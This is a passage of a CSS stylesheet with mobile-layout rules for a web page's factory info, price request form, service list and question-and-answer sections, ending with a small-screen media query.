text-align: center;
margin: 20px 0;
}
.edit .factory_info .demand1 {
width: 300px;
margin: auto;
}
.edit .factory_info .demand1 .title {
margin-top: 10px;
font-size: 18px;
}
.edit .factory_info .demand1 p {
font-size: 12px;
line-height: 20px;
}
.edit .factory_info .info-list {
width: 320px;
margin: 20px auto;
}
.edit .factory_info .info-list ul {
display: flex;
flex-direction: column;
}
.edit .factory_info .info-list ul li {
width: 300px;
margin: 5px auto;
text-align: center;
font-size: 12px;
}
.edit .factory_info .info-list ul li img {
width: 300px;
height: 200px;
}
.edit .factory_info .demand2 {
width: 300px;
margin: auto;
margin-bottom: 20px;
}
.edit .factory_info .demand2 .title {
margin-top: 10px;
font-size: 18px;
}
.edit .factory_info .demand2 p {
line-height: 30px;
font-size: 12px;
}
.edit .factory_info .demand2 p a {
text-decoration: none;
border: 1px solid #f25807;
margin-top: 5px;
padding: 5px 30px;
font-size: 14px;
color: #f25807;
}
.edit .factory_info .demand2 p a:hover {
background: #f25807;
color: #ffffff;
}
.edit .get-price {
background: #f2f2f2;
}
.edit .get-price .title {
font-size: 20px;
font-weight: 700;
text-align: center;
padding: 20px 0;
}
.edit .get-price .item-list {
display: flex;
flex-direction: column;
text-align: center;
}
.edit .get-price .item-list .item {
width: 320px;
margin: 5px auto;
line-height: 28px;
vertical-align: middle;
}
.edit .get-price .item-list .item label {
font-size: 12px;
display: inline-block;
min-width: 120px;
}
.edit .get-price .item-list .item input {
width: 200px;
padding: 5px;
border: 1px solid #f2f2f2;
color: #cccccc;
}
.edit .get-price .foot {
text-align: center;
padding-bottom: 20px;
}
.edit .get-price .foot button {
margin-top: 10px;
font-size: 14px;
background: #333333;
color: #ffffff;
padding: 8px 16px;
border: 1px solid #333333;
}
.edit .service_info {
background-image: url('../images/03e5a3e0759e408b90577d25b7ac27da.gif');
color: #ffffff;
padding: 10px;
}
.edit .service_info .title {
font-size: 20px;
font-weight: 700;
text-align: center;
margin: 0 0 20px 0;
padding-top: 20px;
}
.edit .service_info .fuwu-list ul {
display: flex;
flex-direction: column;
align-items: center;
margin: 0 0 20px 0;
}
.edit .service_info .fuwu-list ul li {
width: 200px;
text-align: center;
padding-bottom: 10px;
margin-bottom: 10px;
border-bottom: 1px solid #333333;
}
.edit .service_info .fuwu-list ul li:last-child {
border-bottom: none;
}
.edit .service_info .fuwu-list ul li .small {
font-size: 12px;
}
.edit .service_info .fuwu-list ul li .big {
font-size: 16px;
}
.edit .question_info .title {
font-size: 20px;
font-weight: 700;
text-align: center;
margin: 20px 10px;
padding: 20px 0;
border-bottom: 1px solid #666666;
}
.edit .question_info .question-list {
width: 300px;
margin: auto;
}
.edit .question_info .question-list ul {
display: flex;
flex-direction: column;
}
.edit .question_info .question-list ul li {
margin-bottom: 10px;
}
.edit .question_info .question-list ul li .number {
font-size: 14px;
float: left;
margin-right: 10px;
padding: 5px;
border: 1px solid #666666;
border-radius: 50%;
}
.edit .question_info .question-list ul li .demand {
overflow: hidden;
}
.edit .question_info .question-list ul li .demand .question {
font-size: 14px;
margin-bottom: 10px;
}
.edit .question_info .question-list ul li .demand .answer {
font-size: 12px;
color: #666666;
padding-bottom: 5px;
border-bottom: 1px solid #d2d2d2;
}
}
@media screen and (max-width:350px) {
.w_fl222 .next-pre a {
width: 250px
}
}